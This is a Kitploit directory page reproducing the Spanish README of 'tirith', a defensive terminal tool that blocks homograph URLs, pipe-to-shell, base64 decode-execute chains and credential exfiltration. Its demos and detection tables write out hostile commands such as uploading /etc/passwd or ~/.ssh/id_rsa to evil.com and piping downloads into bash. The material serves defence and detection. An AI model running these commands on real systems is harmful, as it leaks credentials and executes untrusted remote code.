Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
tirith — Seguridad en terminal para desarrolladores y agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, inyección ANSI, payloads ofuscados, exfiltración de datos y skills/configuraciones maliciosas de IA antes de que se ejecuten. | Kitploit
Herramientas/GitHubGitHub/sheeki03/tirith
OSINT (Inteligencia de Fuentes Abiertas)Herramientas de PhishingEscáneres de VulnerabilidadesExfiltración de DatosAnálisis de MalwareDevSecOpsDetección de SecretosInteligencia de AmenazasSeguridad de Cadena de SuministroAprendizaje y EducaciónRecursos Curados
2.7k90223hace 17h 56mRevisado por Kitploit
Compartir
GitHubsheeki03/tirith

tirith

Seguridad en terminal para desarrolladores y agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, inyección ANSI, payloads ofuscados, exfiltración de datos y skills/configuraciones maliciosas de IA antes de que se ejecuten.

Ver RepositorioSitio web
# tirith

**Tu navegador detectaría esto. Tu terminal no.**

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, seguridad de terminal" width="100%" />
</p>

[![CI](https://github.com/sheeki03/tirith/actions/workflows/ci.yml/badge.svg)](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[![GitHub Stars](https://img.shields.io/github/stars/sheeki03/tirith?style=flat&logo=github)](https://github.com/sheeki03/tirith/stargazers)
[![License: AGPL-3.0](https://img.shields.io/badge/license-AGPL--3.0-blue)](LICENSE-AGPL)

[Sitio web](https://tirith.sh) | [Documentación](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Registro de cambios](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Versiones](https://github.com/sheeki03/tirith/releases)

<a href="https://vercel.com/open-source-program">
  <img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>

<sub>Proyecto de código abierto independiente, con alojamiento respaldado por el Vercel Open Source Program (Spring 2026 Cohort).</sub>

---

¿Puedes detectar la diferencia?

```
  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised
```

No puedes. Tu terminal tampoco. Ambos caracteres `і` son cirílicos (U+0456), no latinos `i`. La segunda URL resuelve a un servidor del atacante. El script se ejecuta antes de que te des cuenta.

Los navegadores resolvieron esto hace años. Las terminales todavía renderizan Unicode, secuencias de escape ANSI y caracteres invisibles sin cuestionarlos. Los agentes de IA ejecutan comandos de shell e instalan paquetes sin inspeccionar lo que hay dentro.

**Tirith se sitúa en la puerta.** Intercepta comandos, contenido pegado y archivos escaneados en busca de URLs homógrafas, payloads ofuscados, exfiltración de credenciales, skills/configs de IA maliciosos y paquetes/dominios/IPs maliciosos conocidos de una base de datos de inteligencia de amenazas firmada antes de que se ejecuten.

```bash
brew install tirith
```

Luego actívalo en el perfil de tu shell:

```bash
# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source
```

> [!TIP]
> `eval "$(tirith init)"` detecta automáticamente tu shell actual (inspecciona el proceso padre y recurre a `$SHELL` si es necesario). El flag explícito `--shell` solo es necesario cuando quieres anular la detección.

O deja que Tirith escriba el archivo de inicio por ti, como un plan revisado que puedes deshacer:

```bash
tirith setup recommended --scope user --shell zsh --dry-run   # preview
tirith setup recommended --scope user --shell zsh             # apply
```

Eso es todo para la cobertura de la shell interactiva. Los comandos aceptados por esa shell se verifican mientras el hook está cargado y en buen estado; el comportamiento exacto de bloqueo depende de la shell y del modo. Ejecuta `tirith status` después de la instalación y las actualizaciones: indica si el hook cargado en esta terminal está actualizado. Ejecuta `tirith doctor --verify-shell` para observar el bloqueo en la propia shell, y lee [enforcement by shell](#enforcement-by-shell) antes de tratar el hook como un límite de autorización. Los comandos limpios permanecen en silencio y normalmente toman la ruta rápida.

También disponible mediante [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) y [más](#install).

---

## Verlo funcionar

**Ataque de homógrafos, bloqueado antes de la ejecución:**

```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)
```

El comando nunca se ejecuta.

**Solicitud HTTP simple a una dirección de LAN, advertida, no bloqueada:**

```
$ curl http://192.168.1.20:8080/health

tirith: WARNING
  [MEDIUM] raw_ip_url, URL uses raw IP address
  [MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
  [MEDIUM] private_network_access, Private network access: 192.168.1.20
```

Advertencia impresa en stderr. El comando aún se ejecuta. Una descarga canalizada a un shell
(`curl ... | sh`) no es una advertencia: se bloquea como `curl_pipe_shell`.

**Cadena de decodificación-ejecución Base64, bloqueada:**

```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```

Detecta también cadenas de decodificación a través de envoltorios sudo/env y de PowerShell `-EncodedCommand`.

**Exfiltración de credenciales, bloqueada:**

```
$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server
```

Cubre todas las flags de carga de curl/wget, variables de entorno (`$AWS_SECRET_ACCESS_KEY`) y sustitución de comandos.

**Archivo de skill malicioso, detectado en el escaneo:**

```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```

Escanea archivos JS/Python en busca de cargas útiles ofuscadas, ejecución dinámica de código y patrones de exfiltración de secretos.

**Comandos normales, invisibles:**

```
$ git status
$ ls -la
$ docker compose up -d
```

Nada. Cero salida. Olvidas que tirith se está ejecutando.

---

## Qué detecta

**245 reglas de detección en 35 categorías.**

| Categoría | Qué detiene |
|----------|--------------|
| **Ataques de homógrafos** | Caracteres similares cirílicos/griegos en nombres de host, dominios punycode, etiquetas de escritura mixta, TLD similares, dominios confundibles, detección de confundibles a nivel de texto (alfanuméricos matemáticos, misma palabra con escritura mixta) |
| **Inyección en terminal** | Secuencias de escape ANSI, anulaciones bidi, caracteres de ancho cero, etiquetas unicode, operadores matemáticos invisibles, selectores de variación, rellenos Hangul |
| **Defensa contra esteganografía** | Codificación con espacios en blanco invisibles (12 variantes de espacio Unicode), Separador de Vocal Mongol, caracteres Hangul Filler, sustitución alfanumérica matemática, defensas contra esteganografía de texto estilo st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, además de numerosas rutas de envoltura, decodificación e indirectas |
| **Decodificación-ejecución Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, cadenas de decodificación a través de envolturas sudo/env |
| **Exfiltración de datos** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, cargas de archivos secretos del proyecto (`.env`, `.env.production`, `secrets.yaml`), cargas de variables de entorno en cuerpos de solicitud (`$AWS_SECRET_ACCESS_KEY`), exfiltración por sustitución de comandos. Una credencial en un encabezado de solicitud (`-H "Authorization: Bearer $TOKEN"`) se trata como autenticación, igual que `--user` |
| **Escaneo de archivos de código** | Cargas útiles ofuscadas (`eval(atob(...))`), ejecución dinámica de código (`exec(b64decode(...))`), exfiltración de secretos mediante `fetch`/`requests.post` en archivos JS/Python |
| **Detección de credenciales** | Claves de AWS, PATs de GitHub, tokens de Stripe/Slack/SendGrid/Anthropic/GCP/npm, bloques de claves privadas, además de detección genérica de secretos basada en entropía |
| **Comportamiento post-compromiso** | Extracción de memoria de procesos (`/proc/*/mem`), escalada de privilegios remota en Docker, barridos de archivos de credenciales, calibrado contra las herramientas post-compromiso de TeamPCP y UNC1069 |
| **Seguridad de comandos** | Sobrescritura de dotfiles, extracción de archivos a rutas sensibles, acceso a endpoints de metadatos en la nube, acceso a redes privadas |
| **Transporte inseguro** | HTTP plano canalizado a shell, `curl -k`, verificación TLS deshabilitada, URLs acortadas que ocultan destinos |
| **Entorno** | Secuestro de proxy, exportaciones de variables de entorno sensibles, inyección de código vía env, secuestro de intérprete, inyección de shell vía env |
| **Seguridad de archivos de configuración** | Inyección de configuración, indicadores sospechosos, unicode no ASCII/invisible en configuraciones, seguridad de servidores MCP (inseguro/no confiable/duplicado/permisivo) |
| **Amenazas del ecosistema** | Typosquats en git clone, registros Docker no confiables, instalaciones por URL de pip/npm, endpoints RPC de web3, vet-no-configurado |
| **Seguridad de comandos de instalación** | Repositorios APT añadidos desde una descarga canalizada, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (verificaciones de firma deshabilitadas), `kubectl apply -f` contra manifiestos remotos sin procesar/acortados, charts de Helm de repositorios no confiables, módulos de Terraform de fuentes remotas no confiables, `brew install`/`tap` desde URLs arbitrarias |
| **Análisis de rutas** | Rutas no ASCII, homoglifos en rutas, doble codificación |
| **Contenido renderizado** | Contenido oculto por CSS/color, atributos HTML ocultos, análisis de contenido de comentarios (inyección de prompt en Alto, comandos destructivos en Medio) |
| **Detección de cloaking** | Cloaking del lado del servidor (bot vs navegador), contenido oculto en el portapapeles, texto oculto en PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, exclusiones de Windows Defender (`Add-MpPreference -Exclusion*`), descarga-ejecución en línea `iex (iwr ...)` |
| **Defensa de salida de terminal** | Escrituras al portapapeles OSC 52, prompts falsos, manipulación de hipervínculos OSC 8 y de título/limpieza de pantalla, inyección de prompt dentro de la salida de comandos o de herramientas MCP (escaneada tanto en bruto como desofuscada, de modo que también se detectan evasiones con caracteres invisibles, confundibles, espaciados, leetspeak y base64/hex cortos), y exfiltración de datos en la salida (URLs de baliza o directivas de "leer un secreto y luego enviarlo") |
| **Contexto operativo** | Comandos destructivos contra contextos cloud / k8s etiquetados como prod y hosts SSH, `apply` de Terraform / Pulumi / OpenTofu sin un plan guardado coincidente, escalada de sudo riesgosa, `docker run` privilegiado |
| **Estación de trabajo y persistencia** | Archivos de credenciales con permisos laxos y tokens en texto plano (`~/.ssh`, `~/.aws`, `.npmrc`), puntos de apoyo de persistencia (shell rc, `authorized_keys`, crontab, LaunchAgents, `core.hooksPath` de git), orden de secuestro de PATH, procedencia de ejecutables, alias riesgosos y ciclo de vida de variables de entorno sensibles |
| **Radio de impacto y correlación** | Eliminaciones que escapan del repositorio, eliminaciones masivas, ejecución de archivos descargados de fuentes riesgosas y cadenas de sesión como escritura de secretos seguida de red o eliminación seguida de `git push --force` |
| **Confianza, atestación y procedencia** | Discrepancia en tarjetas de comando firmadas, toques de honeytokens canary, discrepancia de host de origen en pegado, denegaciones de política por origen del llamador (agente), deriva de lockfile de MCP y deriva de configuración de IA frente a una instantánea conocida como segura |
| **Guarda de comandos Web3** | Escrituras on-chain desde comandos de Cast / Forge / Hardhat / Solana / Anchor (Alto cuando el mismo comando también desactiva un control de seguridad declarado), material de clave privada, keypair o mnemónico en la línea de comandos, y un endpoint RPC o firmante en el que la política `web3_guard` del operador no confía. Solo gramática y política: no se lee el estado de la cadena, no se simula ninguna transacción y no se puntúa ninguna dirección |
| **Exfiltración de billeteras** | Material de billetera revisada, keystore, billetera de navegador y keypair de Solana fluyendo hacia un destino remoto comprobado, incluidos saltos de preparación con archivo, base64, hex, compresor y cifrador, y promoción de operandos con `xargs` / `find -exec`. Una lectura solo de origen deliberadamente no es un hallazgo |
| **Envenenamiento de artefactos de CI** | Un flujo de trabajo accesible desde forks que sube un artefacto de compilación, consumido por un flujo de trabajo privilegiado `workflow_run` vinculado a la ejecución desencadenante que luego lo ejecuta, obtiene de él, muta el PATH, lo publica o lo despliega |

## Contra qué NO protege tirith

Tirith analiza la **estructura** de los comandos, el texto pegado y los archivos antes
de que se ejecuten. Es una puerta previa a la ejecución, no una defensa en tiempo de ejecución, y no
cubre:

- **Aislamiento (sandboxing) general en tiempo de ejecución:** los hooks de shell ordinarios y `tirith check` advierten
  o bloquean; no aíslan un comando después de su lanzamiento. La ruta explícita
  `capsule run --preset untrusted-project` proporciona contención de fallo cerrado
  en hosts Linux nativos x86_64 y AArch64 compatibles. La ejecución contenida de `pkg install` está
  actualmente deshabilitada en todos los hosts.
- **Monitoreo de red posterior a la ejecución:** lo que un proceso hace en la red después de
  su lanzamiento queda fuera del alcance.
- **Detección general de malware / payloads:** tirith no es un antivirus y no
  detona un payload. Analiza la estructura y puede coincidir con indicadores exactos
  y hashes de artefactos/archivos de la base de datos de amenazas firmada, pero un
  payload desconocido no se considera benigno por la ausencia de una coincidencia. (`tirith run` verifica
  la estructura de un script descargado; aun así no es análisis dinámico de malware).
- **Un atacante privilegiado root/admin:** cualquiera que ya sea root o admin puede eludir
  tirith trivialmente. Defiende contra entradas engañosas, no contra un atacante que ya
  controla la máquina.
- **Anti-depuración / anti-manipulación:** tirith no resiste la ingeniería inversa
  ni protege su propio binario de un atacante local.
- **Análisis on-chain:** el guard de Web3 lee la gramática de los comandos. No lee
  el estado de la cadena, simula una transacción, resuelve ENS, puntúa una dirección, audita un
  contrato ni vigila un mempool.
- **Un firewall de artefactos npm:** tirith analiza la gramática de los comandos npm y los hechos de
  identidad del registro, y puede consultar al propio npm del proyecto su estado de firma y
  procedencia. [La inspección local de npm](https://github.com/sheeki03/tirith/blob/main/docs/npm-inspection.md) calcula el hash de los bytes exactos
  del tarball suministrado y reporta evidencia estática acotada sin descargarlo,
  escribir su contenido en disco ni ejecutar código del paquete. Estos informes no
  autorizan una instalación. `tirith pkg install` permanece deshabilitado tanto para npm como para Python en
  todos los hosts a la espera de la cualificación de ejecución de entradas privadas.
- **Forense o monitoreo de navegador:** `tirith browser audit` es una auditoría de integridad explícita,
  de una sola ejecución y de solo lectura de los árboles de código fuente de extensiones. Nunca lee
  cookies, historial, contraseñas guardadas, almacenamiento, bases de datos de monederos ni `Local
  State`, nunca elimina ni pone en cuarentena nada, y no tiene daemon.
- **Compilaciones reproducibles:** un recibo de `attest` registra qué contenían dos árboles
  en un momento dado. Tirith no ejecuta tu compilación y no puede afirmar que la salida provino
  del código fuente. Un recibo de despliegue es una medición puntual, no
  monitoreo continuo.

Consulta [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) para el modelo de amenazas completo y
los no-objetivos explícitos, y
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) para un
registro capacidad por capacidad de lo que tirith detecta, decide, aplica,
contiene y certifica.

---

## Limitaciones conocidas

- **Fragilidad del hook de shell:** la protección depende de que un hook de shell permanezca instalado y activo. Los hooks pueden romperse o degradarse silenciosamente entre shells, versiones de shell, frameworks de prompt y herramientas de historial. Ejecute `tirith doctor` para comprobar el estado en vivo y vigile la degradación de solo advertencia.
- **Almacenamiento temporal lleno o de solo lectura:** zsh y fish capturan la entrada a través de un archivo temporal antes de invocar a Tirith y fallan de forma cerrada cuando ese archivo no se puede crear. Por lo tanto, un `TMPDIR` lleno o de solo lectura puede rechazar todos los comandos, y `TIRITH=0` no puede recuperarlo porque nunca se alcanza el binario. Siga los pasos de recuperación en [solución de problemas](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Funciones limitadas por plataforma:** el modo daemon, `tirith run`, `tirith fetch` y `tirith gateway run` son superficies de Unix. `tirith run --no-exec` sigue siendo un flujo de inspección allí, pero la ejecución remota de scripts en vivo es exclusiva de Linux y se rechaza antes de la descarga en cualquier otro host. En Windows, `tirith gateway run` se rechaza antes de leer su configuración de ejecución o iniciar el servidor upstream; `tirith gateway validate-config` sigue disponible. `tirith setup` es multiplataforma, mientras que cada integración de host tiene su propio contrato de plataforma (por ejemplo, Cline tiene wrappers POSIX y de Windows; el hook de bloqueo de OpenHands es exclusivo de Unix).
- **Alcance de extracción de nombres de paquetes:** cubre ecosistemas de lenguajes (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), no gestores de paquetes de distribuciones (`apt`, `dnf`, `yum`, `pacman`).
- **Advertencias sobre agentes de IA:** la interceptación mediante hook de shell solo protege los comandos que pasan por un shell interactivo con hook. Un agente que genera un shell no interactivo, llama directamente a `exec` o se ejecuta sin el hook cargado no está cubierto por esa capa. El registro MCP es cooperativo a menos que las llamadas se enruten a través del gateway. Un hook pre-tool compatible puede retener automáticamente un comando del host, pero solo cuando ese host lo cargó y lo respetó; varios hosts fallan de forma abierta cuando un proceso de hook da error. Verifique el host efectivo, no solo la presencia de un archivo de configuración.
- **Comportamiento ante fallos del hook de host:** Grok Build, Cline y OpenHands permiten la herramienta cuando su proceso de hook falla o agota el tiempo de espera. El adaptador de Tirith deniega ante sus propios errores de forma predeterminada, y en Linux y macOS los hooks generados deniegan cuando su intérprete de Python fijado se ha movido (a menos que `TIRITH_FAIL_OPEN=1`), pero Tirith no puede hacer que un host respete un proceso que no retornó. En Windows, los comandos de hook de Gemini CLI y Kiro ejecutan el Python fijado directamente, por lo que un intérprete movido o eliminado hace que fallen de forma abierta hasta que se ejecute `tirith setup` de nuevo. Vuelva a ejecutar la configuración si un intérprete fijado se mueve y pruebe el host real después de cada actualización.
- **Prime Agent IPython es extracción a nivel de código fuente:** el guard cubre escapes/magics de shell y las formas comunes de `os`, `subprocess` y `pty.spawn`, pero no es un sandbox de tiempo de ejecución de Python. Un wrapper definido en una celda anterior, la reflexión como `getattr`/`__import__`, o un paquete de terceros que genera un proceso pueden escapar de lo que un lexer de código fuente puede probar.
- **DLP personalizado y salida de máquina:** los `dlp_custom_patterns` amplios pueden actualmente reescribir valores de cadena propiedad del protocolo en proyecciones JSON/MCP redactadas recursivamente, incluidos identificadores generados o metadatos de recibos. Evite patrones que puedan coincidir con valores estructurales al consumir salidas firmadas o estables para máquinas; esto necesita redacción consciente de campos antes del lanzamiento.
- **Aprobación de instalación desatendida:** `tirith install --yes` se acepta como el canal `require_approval` desatendido de la puerta de tareas del gestor de paquetes. Es un flag explícito del operador, no una prueba de confirmación humana por TTY. Utilice una política de tareas bloqueante donde la ejecución desatendida deba ser imposible.
- **Vinculación MCP interpretada:** la vinculación exacta de servidores interpretados hashea el árbol del repositorio bajo límites fijos en lugar de descubrir un cierre de dependencias real, por lo que árboles grandes, enlaces simbólicos o archivos especiales pueden rechazar el lanzamiento. Revalida antes del spawn pero no ejecuta entradas del intérprete desde sellado
  descriptores revisados; la mutación concurrente del mismo usuario sigue siendo una brecha de verificación a carga.
- **Cobertura de la puerta de tareas:** la inferencia de efectos de tareas modela la gramática del shell de Web3 y nada más, por lo que casi todos los comandos SHELL ordinarios se reportan como INCOMPLETE. `task_gate.mode: enforce` con `action_incomplete_analysis: block` los rechaza en los cinco límites que envían un sobre de shell. También rechaza las acciones narrativas que las llamadas a herramientas MCP que la puerta de enlace no puede modelar, `tirith verify-self`, `tirith update --dry-run` y el envío de actualización de ThreatDB del panel de control. No cambia nada en las escrituras de configuración, `tirith fetch`, ni en un `tirith update` o rollback reales, que siempre se evalúan como completos. `warn` es el valor predeterminado. La alternativa, `effects_denied_for_untrusted_sources`, deniega el efecto nombrado en cada llamada en cada límite controlado, incluidos los comandos que usted mismo escribió, porque ninguna fuente en esos límites se trata jamás como confiable.
- **La contención de proyectos requiere controles nativos de Linux:** `tirith capsule run --preset untrusted-project` admite Linux nativo x86_64 y AArch64 con Landlock y seccomp utilizables. Los hosts que carecen de cualquiera de los dos controles se rechazan antes de que se copie o se genere algo, sin una alternativa degradada. La ejecución contenida de `tirith pkg install` está deshabilitada en todos los hosts a la espera de la calificación de entradas privadas. Ningún backend ofrece la lista de dominios permitidos.
- **Brecha de exfiltración en shells anidados:** una lectura sensible dentro del cuerpo de un shell anidado cuyo destino está fuera de él, como `bash -c "cat <wallet>" | curl -d @- <url>`, no se correlaciona hoy. La misma cadena completamente dentro o completamente fuera del cuerpo de `-c` sí se detecta.
- **Grados de evidencia de ejecución:** un lanzamiento en Linux se confirma solo después de que se completen su transición `exec` detenida, la actualización de estado duradera, la reanudación autorizada y la prueba del lanzador de terminal. Una llamada a la puerta de enlace se confirma solo mediante un resultado correlacionado exacto. Las observaciones de shell y las llamadas a la puerta de enlace reenviadas que expiran o se cancelan siguen siendo evidencia no resuelta conservadora, nunca ejecución confirmada. Los recibos estrictos de shell están disponibles para bash, zsh y fish interactivos; PowerShell sigue siendo solo de verificación previa. El comportamiento del lanzador nativo de Linux debe verificarse mediante CI de Linux o un host Linux nativo; ni la cobertura portátil de código fuente/pruebas unitarias ni una compilación para macOS pueden sustituirlo.
- **Brechas de cobertura de Web3:** `forge create` aún no está modelado en las superficies del motor; varios campos declarados de `web3_guard` se analizan pero no se aplican; y los enlaces Web3 de tarjetas de comando de esquema 2 aún no tienen una ruta de autoría por CLI ni de consumo en vivo por el motor. Trate estos como brechas conocidas, no como autorización silenciosa.

## Inteligencia de amenazas

Tirith incluye una base de datos de amenazas local firmada para la reputación de paquetes, nombres de host e IP. Cuando un hook de shell o `tirith check` detecta la instalación de un paquete o una referencia a infraestructura sospechosa, compara esa entrada con la base de datos antes de que se ejecute el comando, en lugar de depender únicamente de heurísticas estáticas.

**Base de datos firmada** (generada por CI, verificada en la descarga y en la carga):

- Paquetes maliciosos conocidos de [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) y [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infraestructura IP maliciosa de [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquats confirmados y líneas base de paquetes populares de [ecosyste.ms](https://ecosyste.ms/)
- Catálogo [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) para la correlación de avisos en tiempo de ejecución

ThreatDB v2 añade valores SHA-256 exactos de artefactos, hashes de archivos instalados, URLs maliciosas, pertenencia a campañas y etiquetas de comportamiento. El índice firmado, el actualizador, el compilador y el cargador admiten v1 y v2 durante la transición por etapas, rechazan la reversión de secuencias, publican de forma transaccional y conservan una base de datos firmada de última versión conocida correcta cuando una actualización está incompleta o no es válida. La fuente DigitalSide está implementada pero intencionalmente inactiva hasta que se aprueben su frescura y su contrato operativo.

**Feeds suplementarios opcionales** (superposición local del usuario):

- [URLhaus](https://urlhaus.abuse.ch/) y [ThreatFox](https://threatfox.abuse.ch/) mediante una clave de autenticación de abuse.ch
- Listas de bloqueo de [PhishTank](https://phishtank.org/) (Cisco Talos) y [Phishing Army](https://phishing.army/)
- Lista de nodos de salida de Tor de [Tor Project](https://www.torproject.org/)

**Enriquecimiento en vivo opcional** durante `tirith check` y el modo daemon:

- Consultas de avisos de [OSV.dev](https://osv.dev/) (Google OSS)
- Señales de salud de paquetes de [deps.dev](https://deps.dev/) (Google OSS) y datos de mantenedores de [ecosyste.ms](https://ecosyste.ms/)
- Reputación de URL de [Google Safe Browsing](https://safebrowsing.google.com/) con tu propia clave de API

```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date
```

De forma predeterminada, los hooks de shell y `tirith check` activan una comprobación de actualización en segundo plano de bajo coste cada 24 horas. El modo daemon mantiene la misma ruta de enriquecimiento activa en segundo plano.

`threat-db explain` acepta un dominio, un nombre de paquete (`name`, `ecosystem:name` o `name@version`), o una dirección IPv4. El binario no conserva historial por entrada, por lo que `threat-db diff` informa deltas de recuento por categoría y por fuente entre instantáneas, no las entradas exactas modificadas. Todos los comandos de `threat-db` aceptan `--format json`; `threatdb` es un alias.

### Puntuación de riesgo de paquetes

`tirith package risk <ecosystem> <name>` puntúa el riesgo de cadena de suministro / de mantenedor de un paquete de la misma forma en que `tirith score` puntúa una URL, una **suma determinista y totalmente explicable de factores nombrados**, sin modelo y sin pesos aprendidos. `tirith package explain <ecosystem> <name>` añade la derivación factor por factor; ambos aceptan `--format json`.

```bash
tirith package risk npm react           # 0/100, a known-popular package
tirith package risk npm reqeusts        # high, one edit from a popular name
tirith package explain pypi flask       # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react  # also consult the registry API
```

**Sin conexión por defecto.** Sin flags, cada señal es local, sin ninguna llamada de red: (1) **nombre frente a paquetes populares**: conocido-popular, desconocido, o un casi-acierto de una edición de un nombre popular (la clásica forma de typosquat/slopsquat), a partir del conjunto `popular` de la base de datos local de amenazas; (2) **typosquat malicioso conocido**: una coincidencia exacta en el índice `typosquat` de la base de datos de amenazas; (3) **scripts de instalación / ciclo de vida** y (4) **blobs binarios empaquetados**, detectados solo cuando el contenido del paquete está disponible localmente (bajo `node_modules` / `site-packages`, o mediante `--path`). tirith **nunca descarga** el paquete.

**`--online` añade procedencia del registro.** Consulta el registro del paquete (npm, PyPI o crates.io) para seis factores más en el *mismo* modelo de suma de factores: antigüedad del paquete/versión, un paquete establecido sin propietarios, un pico de versiones anómalo, descargas muy bajas, un repositorio de origen ausente y estado yanked/deprecated. Es la única ruta en la que `package risk` en sí mismo llega a la red; `tirith check` y el modo daemon tienen una ruta separada de enriquecimiento en tiempo de ejecución controlada por políticas. `--offline` / `TIRITH_OFFLINE` fuerzan este evaluador a modo sin conexión en cualquier caso. Los fallos recurren a la puntuación sin conexión con un honesto `api signals: unavailable`, y las respuestas se almacenan en caché con un TTL para que las ejecuciones repetidas no martilleen los registros.

La puntuación es orientativa e independiente: `package risk` no es una regla de detección y no cambia ningún veredicto, código de salida ni registro de auditoría.

### Escaneo de ecosistema y riesgo de dependencias

`tirith ecosystem scan [path]` es el complemento a nivel de directorio de `package risk`. Recorre un proyecto, descubre cada manifiesto de dependencias que entiende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), y puntúa **cada dependencia declarada** con el mismo motor determinista de factores `package_risk`.

```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report
```

**Incorpora la detección de slopsquatting.** *Slopsquatting* es el registro de un nombre plausible pero falso que los LLM tienden a alucinar como dependencia. `ecosystem scan` lo marca solo cuando se cumplen **las tres** condiciones: el nombre no es conocido como real ni popular, tiene **forma de alucinación de IA** (un prefijo de lenguaje como `python-` / `node-` más tokens descriptivos, una pila de relleno genérico como `helper` / `utils` / `client`, o un nombre inusualmente largo), **y** está cerca de un nombre popular real (una variante a un solo carácter de distancia, o incrusta un nombre popular como palabra). Exigir las tres mantiene bajos los falsos positivos: un `data-utils` honesto sin ancla popular no se dispara.

---

[Read more](https://github.com/sheeki03/tirith)
Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    906
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    725
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    442
  • 4

    wifit3

    derv82/wifit3

    Wifite pero solo USB y multiplataforma.

    434
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer es una plataforma de gestión de accesos privilegiados (PAM) de código abierto que proporciona a los equipos de DevOps y TI acceso seguro y bajo demanda a endpoints SSH, RDP, Kubernetes, base de datos y RemoteApp a través de un navegador web.

    412
  • 6

    SafeLine

    chaitin/safeline

    Proxy inverso y WAF autoalojado que filtra tráfico HTTP malicioso, bloquea inyecciones SQL, XSS y ataques de bots, con limitación de velocidad y cifrado dinámico de HTML/JS.

    360

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →